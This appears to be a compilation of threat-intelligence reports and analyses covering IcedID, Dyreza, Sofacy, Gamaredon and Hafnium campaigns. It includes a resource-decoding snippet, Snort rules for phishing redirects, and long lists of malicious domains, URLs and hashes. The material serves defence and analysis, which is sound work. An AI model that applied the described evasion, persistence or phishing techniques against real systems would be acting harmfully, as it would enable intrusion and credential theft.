The email attachment sent to targets is a ZIP archive containing an ISO file, which, in turn, encloses an LNK and a DLL file. If the victim double clicks the "document.lnk", the DLL launches to set up the IcedID loader. The IcedID GZiploader is stored in an encrypted form in the resource section of the binary, and after decoding, it's placed in memory and executed. The host is then fingerprinted and the basic system information is sent to the C2 (yourgroceries[.]top) via an HTTP GET request. Finally, the C2 responds by sending a payload to the infected machine, although that step was not performed during Intezer's analysis.
## Ties to November 2021 Campaign
While Intezer's report focuses on current and ongoing activity, it is unclear when this campaign started. It is possible that it started five months ago. In November 2021, a Trend Micro report described a wave of attacks using ProxyShell and ProxyLogon vulnerabilities in exposed Microsoft Exchange servers to hijack internal email reply-chains and spread malware-laced documents. The actors behind that campaign were believed to be 'TR', known to work with a plethora of malware, including Qbot, IcedID, and SquirrelWaffle.
Intezer puts threat group TA551 in the spotlight this time due to the use of regsvr32.exe for the DLL's binary proxy execution and password-protected ZIP files. The link between those two threat groups is unclear, though, but it's not improbable that there's some overlap or even underlying connection there.
## Update Your Exchange Servers
We're approaching the one-year mark since Microsoft published fixes for the ProxyLogon and ProxyShell vulnerabilities, so applying the latest security updates is well overdue. Not doing so leaves your Exchange servers, company, and employees prey to phishing actors, cyber-espionage, and ransomware infections.
|
# A Technical Look At Dyreza
In a previous post, we presented unpacking two payloads delivered in a spam campaign: a malicious duet – Upatre (malware downloader) and Dyreza (credential stealer). In this post, we will take a look at the core of Dyreza and the techniques that it uses. Note that Dyreza is a complex piece of malware, and various samples come with various techniques; however, the main features remain common.
## Analyzed samples
- **ff3d706015b7b142ee0a8f0ad7ea2911** – Dyreza executable - a persistent botnet agent, carrying DLLs with the core malicious activities
- **5a0e393031eb2accc914c1c832993d0b** – Dyreza DLL (32bit)
- **91b62d1380b73baea53a50d02c88a5c6** – Dyreza DLL (64 bit)
## Behavioral analysis
When Dyreza starts to infect the computer, it spreads like fire. Observing it in Process Explorer, we can see many new processes appearing and disappearing. It deploys explorer, svchost, taskeng, etc. All this is done to obfuscate the flow of execution, in hopes of confusing analysts.
1/132 copies of the malicious file are dropped in C:\Windows and %APPDATA% under pseudo-random names, matching the regex: `[a-zA-Z]{15}.exe`, i.e., `vfHNLkMCYaxBGFy.exe`. That persistence is achieved by adding a new task in the task scheduler – it deploys the malicious sample every minute to ensure that it keeps running.
Code injected into other processes (svchost, explorer) communicates with the C&C. Checking on VirusTotal, we can confirm that contacted servers have been reported as malicious:
- **141.8.226.14**
- **83.241.176.230**
- **197.231.198.234**
When we deploy any web browser, it directly injects the code into its process and deploys illegitimate connections. This is the way to keep in touch with the C&C, monitor user activity, and steal credentials. We can also see files created in a TEMP folder that serve as a small database, where Dyreza stores information before it is sent to the C&C.
## Inside the code
Dyreza doesn’t start on a machine that has less than two processors. This technique is used as a defense, preventing the file from running on a VM. It is based on the observation that VMs usually have only one processor, in contrast to most physical machines used nowadays. It is implemented by checking the appropriate field in PEB (Process Environment Block), pointed by FS:[30]. Infection continues only if the condition is satisfied.
At the beginning of execution, malware loads an additional import table into a newly allocated memory page. Names of modules and functions are decrypted at runtime. It checks if it is deployed under a debugger using the function `LookupPrivilegeValue` with the argument `SeDebugPrivilege`; if it returns a non-zero value, execution is terminated.
Valid execution follows a few alternative paths. The decision on which path to follow is made based on the initial conditions, like the executable path and arguments with which the program was run. When it is deployed for the first time (from a random location), it makes its own copy into C:\Windows and %APPDATA% and deploys the copy as a new process. As an argument to a deployed copy (from C:\Windows), it passes a path to the other copy.
If it is deployed from a valid path and the initial argument passes validation, it performs another check – verifying if it is deployed for the first time. This is achieved by creating a specific Global mutex (its name is a hash of the Computer name and OS Version – fetched by functions: `GetComputerName`, `RtlGetVersion`). If this condition is also satisfied and the mutex already exists, then it follows the main path, deploying the malicious code. First, the encrypted data and the key are loaded from the executable’s resources.
- **T1RY615NR** – encrypted 32-bit code
- **UZGN53WMY** – the key
- **YS45H26GT** – encrypted 64-bit code
## Unpacking
The unpacking algorithm is pretty simple – `key_data` contains values and `data` is a list of indexes of the values in `key_data`. We process the list of indexes and read the corresponding values:
```python
def decode(data, key_data):
decoded = bytearray()
for i in range(0, len(data)):
val_index = data[i]
decoded.append(key_data[val_index])
return decoded
```
This script decrypts dumped resources. The revealed content contains a shellcode to be injected and a DLL with malicious functions (32 or 64 bit appropriately). The main sample chooses which one to unpack and deploy by checking if it is running via WOW64 (emulation for 32 bit on 64 bit machine) – calling the function `IsWow64Process`.
## Malicious DLL (core)
At this stage, the functionality of the malware becomes pretty clear. The DLL does not contain much obfuscation – it has clear strings and a typical import table. We can see the strings that are used for communication with the C&C. Both 32 and 64 bit DLLs have analogous functionality; only architecture-related elements and strings are different.
The agent identifies the system and then includes this data in the information sent to the C&C. A similar procedure is present in the 64 bit version of the DLL, only the hardcoded string “_32bit” is substituted by “_64bit.” Network settings are examined to verify and inform the C&C whether the client can establish a back connection – command: `AUTOBACKCONN`.
It targets the following browsers:
In addition to monitoring browsers, it also collects general information about the computer (its hardware, users, programs, and services) – in the form of a report. The malware not only steals information and sniffs user browsing but also tries to take full control over the system – executing various shell commands – system shutdown, etc. Some examples include trying to add a user with administrative privileges and shutting down the system on command (`AUTOKILLOS`).
## C&Cs
This botnet is prepared with great care. Not only is communication encrypted, but also many countermeasures have been taken to prevent detection. First of all, the address of the C&C is randomly picked from a hard-coded pool. This pool is stored in one of the resources of the Dyreza DLL (AES encrypted). Below, we can see how it gets decrypted during the execution of the payload.
Also, the certificate served by a particular C&C changes with each connection. The infrastructure is built on a network of compromised WiFi routers (most often: AirOS, MicroTik). The server receives encrypted connections on port 443 (standard HTTPS) or 4443 (in case the standard HTTPS port of a particular router is occupied by a legitimate service).
## Conclusion
Dyreza is eclectic malware, developed by professionals. It is clear that they are constantly working on quality – each new version carries some new ideas and improvements, making analysis harder.
|
# Cyber Threat Operations
## Tactical Intelligence Bulletin - Sofacy Phishing
**Date:** 2014-10-22
**Contact:** [email protected]
**Reference:** CTO-TIB-20141022-01B
**TLP:** WHITE
### Background
Our analysts follow the activities of a number of threat groups with a wide range of motivations. In this bulletin, we are sharing intelligence relating to a recent phishing campaign conducted by a group widely referred to as ‘Sofacy’, named after the antivirus detection name for one of the malware families used by the group. Over the years, there have been a number of papers discussing variations to the malware used by the group, but little discussion of less sophisticated techniques employed by the same attackers.
### Analysis
Sofacy has been discussed before as being used to target APEC members, and there has also been some prior analysis of the malware itself. Variants of the malware have been in use for a considerable amount of time – for example, the screenshot below is from the decoy document loaded by one of the earliest versions present on ThreatExpert, from February 2010.
Decoy documents are used in conjunction with malware droppers in order to make the target believe the file they have just opened is legitimate. The documents often give an indication of the attackers’ intended targets. More recently, ESET have reported on related spear phishing using NATO/Ukrainian conflict themes and watering hole attacks likely targeting the defense industry and a Polish finance company. It has been publicly speculated before that Sofacy malware is Russian in origin. Indicators found in the malware analysis referenced in the appendix, such as embedded resources and targeting, would appear to support this theory.
### Targeting
Recently, we observed a number of new domain registrations by the Sofacy attackers, all of which are closely related via shared WHOIS data and infrastructure. New domain registrations are usually indicative of a new campaign, and so we were eager to find new samples of the malware which connected to the infrastructure. The domain names chosen were almost identical to the legitimate domains of several organizations, a common technique and, like carefully chosen decoy documents, often gives clues as to the likely targets of the campaign. The new domain names mimicked organizations in the following categories:
- International and European diplomatic institutions
- Popular providers of web services
- Military institutions, contractors, and conferences
- Energy companies
- News organizations based out of the United States and Central Europe
In addition to new malware samples, we also found examples where the attackers were using the simple technique of phishing for credentials. The usage of malware in targeted attacks to steal information of value to attackers has been widely reported; however, the simple technique of phishing for credentials, whilst still relatively common in targeted attacks, is still more typically associated with criminal attackers involved in day-to-day cyber-fraud.
The pages used for phishing typically used obfuscated code to redirect the user to another webpage. In some pages, the malicious redirect was disabled by the attackers, by placing additional JavaScript on the page which would redirect users to a legitimate site preferentially. Fake login pages were observed both for webmail and two-factor authentication platforms. In the second case, this would require the attackers to log in at the same time as affected victims, showing a level of dedication to the cause. As well as the domains used being similar to those of the targeted, the pages were also made to appear the same as their legitimate counterparts, making it difficult for end-users to tell they were being duped.
For example, the screenshot below shows the contents of a credential phishing website designed to mimic the legitimate OWA site of a defense contractor. The attacker’s version is on the left, the real version is on the right.
Two of the domains we identified have previously been associated in open source with credential phishing, although not attributed to this group of attackers:
- In October 2013, the domain chmail[.]in was reported as being used in widespread attacks against users of the Iranian mail service chmail[.]ir.
- In January 2014, the domain google-settings[.]com was reported as being used in credential theft against some Gmail users.
### Recommended Actions
As ever with phishing attacks, one of the most important preventative steps you can take is to educate staff on how to identify suspicious emails – especially as there are fewer technical measures that can be taken to prevent low distribution phishing attacks which aim to steal credentials than there are for similar attacks involving malware. Organizations with good logging for their e-mail data could attempt to detect activity relating to compromised accounts by alerting on “impossible journeys”, where locations from which users log in are monitored and where alerts are produced when a single user logs in from two separate countries in a short period of time.
### Snort Signatures
We have developed some SNORT signatures to detect the current template used by the attackers in their phishing campaigns. The following signatures detect JavaScript that is present on many obfuscated redirects, not necessarily related to this activity but which may be indicative of Sofacy phishing:
```
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Potential Sofacy Phishing Redirect"; flow:established,to_client; content:"\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\""; classtype:trojan-activity; sid:xxxxxx; rev:1;)
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Potential Sofacy Phishing Redirect"; flow:established,to_client; content:"\"x6Cx6Fx63x61x74x69x6Fx6E\""; classtype:trojan-activity; sid:xxxxxx; rev:1;)
```
The following comment occurs in many of the pages we’ve observed relating to this campaign, but can also appear in some legitimate sites:
```
alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"Potential Sofacy Phishing Redirect"; flow:established,to_client; content:"// stop for sometime if needed"; classtype:trojan-activity; sid:xxxxxx; rev:1;)
```
For more information on this threat actor and further indicators of compromise, please get in touch with us at [email protected].
### Appendix 1 - Domains
Domains involved in this phishing campaign and associated domains used by the same threat actor:
- northropgrumman[.]org.uk
- counterterorexpo[.]com
- nato.nshq[.]in
- bostondynamlcs[.]com
- natoexhibitionff14[.]com
- vice-news[.]com
- world-oil-company[.]com
- hushmali[.]com
- mfanews[.]info
- azureon-line[.]com
- us-mg6mail-service[.]com
- mail.telecharger-01[.]com
- ns1.mfanews[.]org
- updatepc[.]org
- ya-support[.]com
- changepassword-hotmail[.]com
- mail.sofexjordanx[.]com
- kavkazcentr[.]info
- webmail.windows-updater[.]com
- abbott-export[.]com
- mfapress[.]com
- www.eurosatory-2014[.]com
- yavuz16[.]org
- mfauz[.]com
- mrthelp[.]org
- egreetingsfrom[.]us
- kitegacc[.]net
- kitegacc[.]com
- mail.rnil[.]am
- hothookup[.]net
- NETSCHECKER[.]com
- webmail-saic[.]com
- intuitstatistics[.]info
- flickr-service[.]com
- n0vinite[.]com
- assaas[.]org
- rnil[.]cl
- helpfromhome[.]co
- gdforum[.]net
- set121[.]com
- academl[.]com
- changepassword-yahoo[.]com
- greetingcardproject[.]com
- adawareblock[.]com
- securitypractic[.]com
- rnil[.]am
- YA-LOGIN[.]com
- mx1.g0b[.]mx
- product-update[.]com
- memoinfo[.]ru
- privacy-live[.]com
- tolonevvs[.]com
- us-westmail-undeliversystem[.]com
- test.chmail[.]in
- kakashka.chmail[.]in
- gov.hu[.]com
- us-mg6-transfermail-service[.]com
- us-mg6-mailreport[.]com
- aadexpo2014[.]co.za
- www.gdforum[.]info
- militaryinf[.]com
- valuetable[.]hk
- googlesetting[.]com
- hotmail-monitor[.]com
- junlper[.]net
- www.ya-support[.]com
- g-analytics[.]net
- www.sofexjordanx[.]com
- privacy-yahoo[.]com
- yahoo.chmail[.]in
- windous[.]kz
- youtubeclip[.]org
- aa.69[.]mu
- qov.hu[.]com
- vvorthyhands[.]org
- dkvnz[.]com
- mail.account-flickr[.]com
- bulletin-center[.]com
- yovtube[.]co
- skidkaturag[.]com
- defenceiq[.]us
- mail-google[.]info
- soft-storage[.]com
- clickchekkker[.]com
- intuitanalys[.]com
- sofexjordanx[.]com
- intuitstatistic[.]com
- militaryexponews[.]com
- caciltd[.]com
- windows-updater[.]com
- mail.securitypractic[.]com
- www.surll[.]me
- heidelberqcement[.]com
- armypress[.]org
- sweetcherry[.]org
- account-flickr[.]com
- setnewpass-yahoo[.]com
- scanmalware[.]info
- greetingcardsproject[.]com
- q0v[.]pl
- link-google[.]com
- www.forsvaret[.]co
- link-google[.]com
- cubic.com[.]co
- mail.mrthelp[.]org
- www.us-mg7mail-transferservice[.]com
- vVortHyHands[.]org
- www.vljaihln[.]com
- ifcdsc[.]org
- smigroup-online[.]co.uk
- 100plusapps[.]com
- pruintco[.]com
- www.yahoo-monitor[.]com
- www.chmail[.]in
- litu.su
- www.dkvnz[.]com
- mail.yahoo-monitor[.]com
- us-mg7mail-transferservice[.]com
- evrosatory[.]com
- wind0ws[.]kz
- farnboroughair2014[.]com
- mfa-gov[.]info
- y-privacy[.]com
- login-osce[.]org
- helpmicrosoft[.]net
- sofexjordan2014[.]com
- malwarecheck[.]info
- update-hub[.]com
- mx3.set121[.]com
- srv-yahoo[.]com
- us-westmail-undeliversystem[.]com
- bostondyn[.]com
- aerospacesystem[.]us[.]com
- eurosatary[.]com
- telecharger-01[.]com
- chmali[.]ir
- privacy.google-settings[.]com
- yandex-site[.]com
- www.7daysinabudhabi[.]org
- www.account-flickr[.]com
- google-settings[.]com
- ns1.greetingcardproject[.]com
- eurosator[.]com
- update-zimbra[.]com
- asisonlline[.]org
- mfapress[.]org
- ya-login[.]com
- stockliquidationgroup[.]com
- pasport-yandex[.]com
- konami-game[.]com
- www.adawareblock[.]com
- persa124[.]in
- eurosatory-2014[.]com
- clickchekker[.]com
- al-wayi[.]com
- molodirect[.]net
- com-0cd[.]net
- us-mg6mailyahoo[.]com
- finance-reports.everyday[.]com-w13[.]net
- apple-iclouds[.]com
- unizg[.]net
- mfanews[.]org
- mail.ya-support[.]com
- checkmalware[.]org
- geaviations[.]com
- flashsecurity[.]org
- imperialc0nsult[.]com
- cublc[.]com
- evronaval[.]com
- xuetue2013[.]com
- www.valuetable[.]hk
- mail.chmail[.]in
- nshq[.]in
- forsvaret[.]co
- in-eternal-memory-of[.]com
- www.us-westmail-undeliversystem[.]com
- gdforum[.]info
- sex-toy-shop[.]org
- novinitie[.]com
- yahoo-monitor[.]com
- standartnevvs[.]com
- pornforyou[.]in
- mail.q0v[.]pl
- mail.windows-updater[.]com
- allcashin[.]com
- changepassword-yahoo[.]com
- arnf[.]bg
- gpwpl[.]com
- updateapi.longmusic[.]com
- chmail[.]in
- brokersads[.]com
- testservice24[.]net
- kavkazjlhad[.]com
- livemicrosoft[.]net
- surll[.]me
- accesd-de-desjardins[.]com
- mail.hushmali[.]com
- sunmicrosystem[.]info
- bytly[.]org
- mx.rnil[.]cl
- poczta.mon.q0v[.]pl
- ns.mfanews[.]org
- 7daysinabudhabi[.]org
- privacy-hotmail[.]com
- ns1.al-wayi[.]com
- ecards-yahoo[.]com
- eurosatory2014[.]com
- yahoo-analytics[.]com
- www.srv-yahoo[.]com
- set133[.]com
|
# Gamaredon - When Nation States Don’t Pay All the Bills
By Warren Mercer and Vitor Ventura. Update 02/22: The IOC section has been updated.
Gamaredon is a threat actor, active since at least 2013, that has long been associated with pro-Russian activities in several reports throughout the years. It is extremely aggressive and is usually not associated with high-visibility campaigns. Cisco Talos sees it as incredibly active, and we believe the group is on par with some of the most prolific crimeware gangs.
It has been considered an APT for a long time; however, its characteristics don't match the common definition of an APT. We should consider the possibility of this not being an APT at all, rather being a group that provides services for other APTs while doing its own attacks on other regions/victimology. Contradicting the usual APT method of operation, Gamaredon does not have a focused victimology and instead targets users all over the globe. This group is targeting everyone, from banks in Africa to educational institutions in the U.S. The actor is not as stealthy as other major APT actors and instead acts more like a crimeware gang.
## What's New?
Gamaredon has been exposed several times in multiple threat intelligence reports, without any significant effects on their operations. Their information-gathering activities can almost be classified as a second-tier APT, whose main goal is to gather information and share it with their units, who will eventually use that information to perform the end goal.
## How Did It Work?
The actor uses common tactics from the crimeware world, such as trojanized application installers, self-extracting archives with common names and icons, and spam emails with malicious payloads, sometimes even using template injection. For an APT, this actor is extremely noisy with an infrastructure that goes well above 600 active domains for the first stage command and control (C2). This first-stage C2 is responsible for the delivery of the second stage and the update of the first stage, which can also update the second stage if needed. By opposition, the second stage seems to be delivered with detailed criteria, rather than sending it to all targets.
## So What?
Organizations need to understand the threat actors they are more likely to be targeted by. Classification of the threat actors becomes important to optimize the limited defensive resources available. APT groups are often associated with focused, high-impact activities with extremely small footprints leading to extremely stealthy activity that's hard to detect. However, Gamaredon is the opposite of that — though it's still considered an APT actor. Our objective is to help organizations understand how Gamaredon fits into the larger cybersecurity landscape. Rather than doing a fully comprehensive report about Gamaredon, we focused our attention on four campaigns that started in 2020 and are still active today.
## Overview
The APT group Gamaredon is one of the most active and undeterred actors in the threat landscape. Gamaredon breaks the APT mold — they use a fairly large footprint across their campaigns with a large number of domains used. This is similar to the TTPs normally associated with crimeware groups that don't often overlap with APTs. Their activity has been documented several times over the years, but the group relentlessly continued their activities without showing any signs of slowing down or covert operations. This group controls more than 600 domains, which they deploy at various points in the infection timeline. It's not often that we see an APT group with such a large infrastructure that's been active for this long. A similar, but smaller, example could be the Promethium group.
This level of activity is excessively noisy for an APT actor. Gamaredon lacks the fluency and eloquent techniques we see in some of the most advanced operations. There is also no indication the group profits off their victim's information, which differentiates them from the regular crimeware crews that monetize all information in different ways. This doesn't mean that Gamaredon, as an APT, should be considered a minor threat. This should be seen as an expansion of their activities to a broader victimology, increasing the likelihood of an organization being a target.
The activity of this group matches up with the activities of usual information-stealers on the crimeware scene who steal information and then sell it to other threat actors — second-tier APT actors that pass critical information to other top-tier teams within their operational unit. The other possibility is Gamaredon is a "service provider" that also performs some side jobs, which would explain why they've targeted a major national bank in West Africa.
This is a group that, although it's very active and noisy in some campaigns, does take special care to avoid certain victims. Some of their campaigns have a simple first stage, and second-stage delivery seems to be vetted based on the information received after first contact. This is not a group that denotes a high level of technical expertise — their first stages seem to be designed to complete the job quickly without hiding its capabilities. This, however, should not be taken as a lack of capability. This group has a huge infrastructure, more than 600 active domains linked to their activities. Gamaredon often uses Windows Batch language and/or Visual Basic Scripting (VBS) in their first stage. Sometimes, the first-stage files are created directly by the VisualBasic for Applications (VBA) macros embedded in the malicious documents used as an initial vector. Later in this post, we'll walk through the details of some past campaigns from this actor over the past two years. Talos observed some new campaigns as of February 2021 that show this actor evolves in small ways, but very often. This, along with the size of the infrastructure, implies a dedicated development effort to allow the actor to continue operating while adding new capabilities and features, alongside managing their infrastructure to support their campaigns.
## Victimology and Infrastructure
As we have established previously, Gamaredon is not the average APT. This is an extremely aggressive group with little or no reduction in their activity, which is supported in a large infrastructure not often seen on APT groups. In one of the analyzed campaigns, Gamaredon has a list of IPs that won't be infected by their first stage. Overall, there are roughly 1,709 IP addresses from 43 different countries.
It is not clear why these IP addresses were avoided. However, there are a few possibilities: Some are Tor, VPN or sandbox exit nodes, others may be sinkholes, while others could be located in "friendly" countries or providers. Regardless of the reason, the actor is aware that their malware can have a wide geographical dispersion, which is a clear indication of their aggressiveness.
Unlike other APTs, when we look into the several campaigns from Gamaredon, we can see that their victimology is not geographically restricted to countries like Ukraine or the U.S. We believe Gamaredon has a particular interest in Ukrainian targets, as most of the themes used in their malicious emails and documents are written in Russian, attempting to imitate official documents from the Ukrainian government. However, as the map below shows, active Gamaredon implants date back to only Jan. 1, 2021.
While Cisco Talos has unveiled a large amount of Gamaredon infrastructure, domains, and other IOCs, it's likely Gamaredon continues to have additional infrastructure for other attacks that are not yet discovered. This is not an exhaustive list, but we believe it to be a comprehensive list for the campaigns we've analyzed. In one campaign, we list more than 600 domains, but as of the time of writing, we know more have been registered. Over time, these domains have used more than 330 different IP addresses across 16 countries. Of those, more than 230 of the IPs had geolocation data from Russia. At the time of this writing, these domains were distributed along just 36 IP addresses, from which 35 are located in Russia, and one is located in Germany.
## List of Campaigns
### The Most Common Technique
As often happens with Gamaredon campaigns, this one also uses template injection in Word documents as an initial attack vector, which are normally delivered via spear-phishing emails to the victim. This has been seen in previous campaigns, and they continue to use different hosting sites. For sake of simplicity, we will focus the analysis on a single sample.
The Microsoft Word document is called "НУЖНА ПОМОЩЬ.doc," which translates to "need help." The document below is a lure the actor used. This is clearly written in Cyrillic text, namely of Russian origin, and it states that a relative has been arrested by the Russian FSB accused of terrorism in occupied Crimea. Talos identified two documents with the same name but used as different hashes. This may be an attempt to avoid some simpler methods of anti-virus detection or hunting based on the hash value:
- d5d080a96b716e90ec74b1de5f42f26237ac959da9af7d09cce2548b5fc4473d (C2: hxxp://word-expert[.]online:80/September/jtFqxxHzQAw.dot)
- 36ed18f16e5d279ec11da50bd4f0024edc234cccbd8a21e76abcfc44e2d08ff2
If the user opens the Word DOT template, the file is retrieved and loaded from the C2 hxxp://email-smtp[.]online/sequence/hjnerkXCXrc.dot. This template file contains an embedded VisualBasic for Applications macro that will decode base64-encoded lines and write them to a file creating a VisualBasic script file, which is then executed.
This is the first stage of the malware. It starts by checking if the second stage is running, and if so, terminates all second-stage-related processes. The request in the first beacon contains details about the victim host. The user-agent is hardcoded in the script as "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64," which is suffixed with a string in the format: "::computername_SystemDriveSerialNumber::/.invalid/." The system drive serial number will be in hexadecimal format.
The path of the request starts with "/ingenious_", which will be appended with _procexp, _wireshark, or _tcpdump if it finds those processes running on the system. It's then terminated by "/28.01/ivan.php." If the first request fails, the malware will ping the system and send the request again. Finally, the script will randomly sleep between 95 and 154 seconds before contacting the stage one C2 again. The first-stage C2 will either reply with a new stage two binary or zero bytes. In this case, even if the victim detects stage two, by then, a lot of information has already been stolen during the initial reconnaissance phase.
### Lesser-Used Approach Using Trojanized Installers
Gamaredon also adopted the trojanized application method. A campaign using a trojanized Zoom installer was first seen on Jan. 28, 2020. Gamaredon has not previously been known to use trojanized Windows applications to form part of their attack chain. Talos believes this is a first for Gamaredon. This can be seen from the Cisco Secure Malware Analytics sandbox execution below. Once the installer starts, it will launch two processes. One will start the first stage of the malware, and the second is the real Zoom installer.
The first stage is a Windows batch file that creates a VBS similar to the previous one. This time, the VBS will only exfiltrate the C drive serial number, and there is no retry mechanism, nor is there a sleep time. When the batch finishes the creation of the VBS, it will create a scheduled task that starts 14 minutes after it's been scheduled and will run again every 14 minutes. This means that the beaconing of the first stage will be 14 minutes as a response to the C2 that supplies the malware with a new stage two.
### Using a Huge Script File to Allude Sandboxes
This campaign is linked with the first one we described above and the email used to register the stage one C2. The C2 domain for this campaign was "atlanticos.site," registered with the email "macrobit@inbox[.]ru." This time, the Gamaredon group made a 68MB Visual Basic Script that helps to bypass sandbox detections. The script is made up of random strings that have been commented out.
After removing the comments, the script is pretty similar to the previous one. The first stage uses the hex representation of the system drive serial number as a filename for its executable, which will be replaced if it already exists. Unlike the first example, this sample does not have a loop to contact the C2. It will likely use an external triggering mechanism like the task scheduler. The script has a total of 49,200 milliseconds of sleep split across three different points of execution, which should push the total amount of execution time to at least 50 seconds. Also, unlike the first example, this one will only exfiltrate the system drive hex-encoded serial number and the computer name.
### Sample That Avoids Certain IPs
This campaign was first seen in 2018 but is still active today. As often happens with this threat actor, it uses dynamic domains. Three domains we examined from this campaign have been active since 2018, swapping between periods of activity and dormancy.
Let's look at spr-d4.ddns[.]net as an example, which is a dynamic DNS domain. This domain has pointed to three different IP addresses (195.62.53.158, 185.248.100.104, 142.93.110.250) over the past three years. The first two (in 2018-19) belong to the ASN IPSERVER-RU-NET, and the last one is from DIGITALOCEAN-ASN in the U.S. The operations on this campaign seem to have spun back up in the beginning of June 2019 and are still active today.
Samples from this campaign vary in the campaign version, but the code is mostly identical. Instead of using VBS or VBA, the Gamaredon group uses Windows Batch language to build the entire first stage. As in the trojan application campaign, it uses 7-Zip self-extracting features to pack and launch the entire first stage into a single executable. This campaign is the only one Talos has seen that includes a list of IP addresses which is used to avoid certain victims. This list consists of more than 1,700 IP addresses that are distributed across 43 countries. We identified different lists used in the same kind of campaign. These lists overlap in time and IP addresses. We identified two samples with different IP sets. Sample A (db2fd....39af1) was first seen in the wild on April 21, 2018. This same sample was seen on Dec. 14, 2020, with the hash (8babd…..efe06); the hash changed because the version code changed. However, the code and the IP address list are the same. Another sample (940ed…..e6dc0) belonging to the same type of campaign was seen in the wild in 2019. This time, the code was not exactly the same, but it was still quite similar. The IP list, however, was updated with 179 additional IP addresses, mainly located in Germany. There is no obvious reason why the 2020 sample didn't use the updated list. However, given the amount of simultaneous campaigns, it wouldn't be surprising if this was simply a mistake.
## Conclusion
State-sponsored actors and APT groups are not necessarily the same. A state-sponsored actor can be defined as an APT that is supported in some way by a state. This does not automatically make all APTs state-sponsored. APT actors that provide hacking-as-a-service are not necessarily a state-sponsored actor because they can't be tied to a specific state — they will work for whoever pays the most. But this doesn't mean that they shouldn't be considered an APT. These lines get even blurrier when an actor has the characteristics and behavior we observe in Gamaredon. This is a group whose main interest has been espionage, without any indications of being interested in using crimeware techniques to monetize their activity. This should put them outside the crimeware gang definitions; however, their behavior certainly resembles a crimeware gang rather than an APT.
We believe Gamaredon has a very specific interest in Ukraine that dates back to its initial discovery in 2013. Gamaredon remains a prolific group that does not appear to be deterred through exposure of their activities since their inception in 2013. These new discoveries from Talos show a very diverse level of targeting with an almost crimeware-like approach. This group has targeted a major bank in Africa, U.S. educational facilities, European telecommunications, and hosting providers. The seemingly specific victimology of Gamaredon is thrown into doubt, as we have uncovered a myriad of different vertices, not limited to the above mentioned, and seemingly with a widespread approach that goes beyond only Ukraine.
Gamaredon shows there is a space for the second-tier APT classification, one where the actor provides breach services to a larger actor, almost mimicking what happens in the crimeware scene, where some groups just gather credentials which they then sell to other crimeware groups. There are other groups that may offer hacking-as-a-service, but rather than working for the highest bidder, they serve a specific country or group, perhaps to align with their own intentions. At the same time, these groups will do whatever is best to maximize their gains. The advantage in this case is that they benefit from the "protection" of the APT for which they provide the services. Finally, this second-tier category should also include the APTs that lack the sophistication of others and often have their operations exposed due to bad opsec or amateuristic mistakes.
We believe that challenging the status quo on Gamaredon and others that could fit the previous definition is beneficial as a whole. It will help organizations better understand the threats that they must focus their resources on. The fact remains Gamaredon remains a notoriously prolific group operating without any constraints on a globally impacting level.
## Coverage
Ways our customers can detect and block this threat are listed below.
- Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically.
- Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
- Email Security can block malicious emails sent by threat actors as part of their campaign.
- Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX can detect malicious activity associated with this threat.
- AMP Threat Grid helps identify malicious binaries and builds protection into all Cisco Security products.
- Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
- Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
## IOCs
We identified a large number of domains used by this actor, before and during the writing of this post. We have included them in a txt file available here, but this should not be considered a full list as the actor keeps registering new domains and payloads. The 142.93.110.250 has been identified as a sinkhole. Snort SIDs 57194-57196.
## URLs
- hxxp://email-smtp[.]online/sequence/hjnerkXCXrc.dot
- hxxp://inula[.]ru/HmGzHUg/vwEqNrh/index.html
## Hashes
- 8babd686e005bad396b841bbe0399e5297771f68e1355f33ed0ab704b59efe06
- db2fdaa59cc7c6bc7bed412ba5638bde7611a204e04e1b13c3e5435542839af1
- 940ed99abb8a1d9dd7269ebb27f34605bd715dcc45d75f17ad059139219e6dc0
- 36ed18f16e5d279ec11da50bd4f0024edc234cccbd8a21e76abcfc44e2d08ff2
- 81bdc709be19af44a1acc7c6289ed0212d214a7d0e5ffd4c35d3fa0b87401175
- 1ed5ddaa41046437ac9b6fe7b3719f89fd51c12b4b26c651876184613a018cdd
|
# Hafnium Microsoft Hack – Active Exploitation of Microsoft Exchange and Lateral Movement
March 9, 2021
Written by the Attivo Research Team – Contributing members: Gorang Joshi, Anil Gupta, Saravanan Mohan
Microsoft and Volexity have confirmed the active exploitation of vulnerabilities published by Microsoft in Exchange Server. Security research has attributed the exploitation to the Advanced Persistent Threat group known as Hafnium operating out of China. After the initial compromise, Hafnium operators accessed email accounts and deployed web shells on the compromised servers, which they then used to steal data and expand the attack. Since enterprises deploy Outlook Web Access (OWA) on public networks, it enabled the group to compromise many organizations across a large set of industries, according to ThreatPost’s blog.
Considering the criticality of the vulnerabilities, Microsoft released out-of-band patches on March 2, 2021, to fix the reported vulnerabilities. Unfortunately, many organizations have not patched immediately, and attackers compromised them before the patch was available, resulting in the group using the web shell backdoor to move further inside the network. Volexity confirmed the attackers combined the Exchange exploitation with another vulnerability, CVE-2021-27065, to perform remote code execution (RCE) and conduct lateral movement.
Attivo Networks advises all customers who use vulnerable Exchange Server versions to apply the patch immediately to prevent a compromise. It is also imperative for organizations to know if the Hafnium group has moved laterally inside the network prior to patching Exchange Servers.
Volexity’s blog summarizes the threat’s criticality for enterprises if the adversary has targeted them.
“In all cases of RCE (remote code execution), Volexity has observed the attacker writing web shells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT), and move laterally to other systems and environments.”
Having robust products and processes to detect lateral movement early before the adversary gains a foothold deep inside the enterprise’s network and systems is critical to protect its data and “crown jewels.” Fortunately, there are mature tools available to detect lateral movement accurately without incurring significant investment.
